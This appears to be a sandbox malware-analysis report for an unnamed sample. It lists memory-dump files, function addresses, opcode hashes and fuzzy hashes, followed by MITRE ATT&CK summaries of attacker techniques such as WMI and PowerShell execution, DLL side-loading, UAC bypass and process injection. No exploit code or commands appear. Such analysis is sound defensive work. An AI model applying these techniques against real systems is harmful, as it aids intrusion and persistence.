Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c3ab07ba22222dca7d9acb0192381b419bf3e333797644a583832365925f26cd
Instruction ID: 050088d711a0e4fa810825a61def93af4e60fbd7caadf29ac60ee4da7aad1322
Opcode Fuzzy Hash: c3ab07ba22222dca7d9acb0192381b419bf3e333797644a583832365925f26cd
Instruction Fuzzy Hash: 1B0186B214C601DFE700AE74DD86A7EBBE0FF58710F66893ED5C5C2A44E73098128A02

Non-executed Functions

Function 00B3DE28 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

NTDL, xrefs: 00B3E17C

Memory Dump Source

Source File: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: f8f96052a937ee91546cbf42d852762ab0afa4947d3a204c43abe99a4e58ae02
Instruction ID: 538a09c40e3880e6144b850f89ba336875262d31558f069b1d609da0f00a5d43
Opcode Fuzzy Hash: f8f96052a937ee91546cbf42d852762ab0afa4947d3a204c43abe99a4e58ae02
Instruction Fuzzy Hash: F6A1D47250421ECFCB15CF24C5415EF3BE1FF9A320F3446AADC529BA82D6B29D11EA49

Function 00CB2135 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f60be6097cee2b938d82564226f0eea6df83581d2e43fb156badb0fde774f7e
Instruction ID: 29f69d7f01371c2410eb096ff67dff913902a29cb90b019738bb9953eb799853
Opcode Fuzzy Hash: 6f60be6097cee2b938d82564226f0eea6df83581d2e43fb156badb0fde774f7e
Instruction Fuzzy Hash: 5BA1A07254E7C1AFD7035B348CA52A9BFB0EF52220F0A86EED9D18B193D329540AC752

Function 00CAE135 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6be8d99d804f05a8b58644ad8b4e7ad74e10b07d3790e7a6d49f14106a5017bb
Instruction ID: 8380b37855fa03b599a24ad20db5f9753a86e91ecd134fd3dcb4dc232d10eb57
Opcode Fuzzy Hash: 6be8d99d804f05a8b58644ad8b4e7ad74e10b07d3790e7a6d49f14106a5017bb
Instruction Fuzzy Hash: D37129F3A086009FE3049F2DDCC5A6ABBD6EBD8660F2A863DF5C4C3744E67498148652

Function 00CB34E3 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1882491830.0000000000CAE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000003.00000002.1882210217.0000000000B30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882254076.0000000000B36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882278096.0000000000B3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882302351.0000000000B44000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882321494.0000000000B45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882340274.0000000000B46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882445438.0000000000C9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882466722.0000000000C9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882541295.0000000000CC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882561297.0000000000CC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882581047.0000000000CC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882601003.0000000000CC7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882622106.0000000000CCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882642110.0000000000CCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882666086.0000000000CEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882689823.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882709777.0000000000CED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882729863.0000000000CF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882749685.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882772120.0000000000CFC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882792894.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882838228.0000000000D13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882857137.0000000000D15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882876284.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882896928.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882918389.0000000000D23000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882938947.0000000000D28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882957456.0000000000D29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882977418.0000000000D2D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1882998537.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883019310.0000000000D34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883044408.0000000000D4C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883066696.0000000000D50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883091121.0000000000D51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883114479.0000000000D58000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883136115.0000000000D60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883157460.0000000000D61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883180449.0000000000D6A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883201504.0000000000D6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883225607.0000000000D79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883250564.0000000000D7A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883273141.0000000000D81000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883296870.0000000000D83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DC6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883333973.0000000000DCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883384453.0000000000DDC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1883405534.0000000000DDE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b30000_G1YXJMVDF5OIAHQBL77U48.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f4812fa95414d5776a97cf3d478f651a4f094acd6bea6a017c5ef3148a981b
Instruction ID: 22adb6bfb38638cf1dab2a0f536fa242377bfce1578d6fd2ef95e396a01517c4
Opcode Fuzzy Hash: a9f4812fa95414d5776a97cf3d478f651a4f094acd6bea6a017c5ef3148a981b
Instruction Fuzzy Hash: 4E314CB260C140EFD368992BDC955BBB79AE798310F36452EB5C3C7744E9345A089216

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

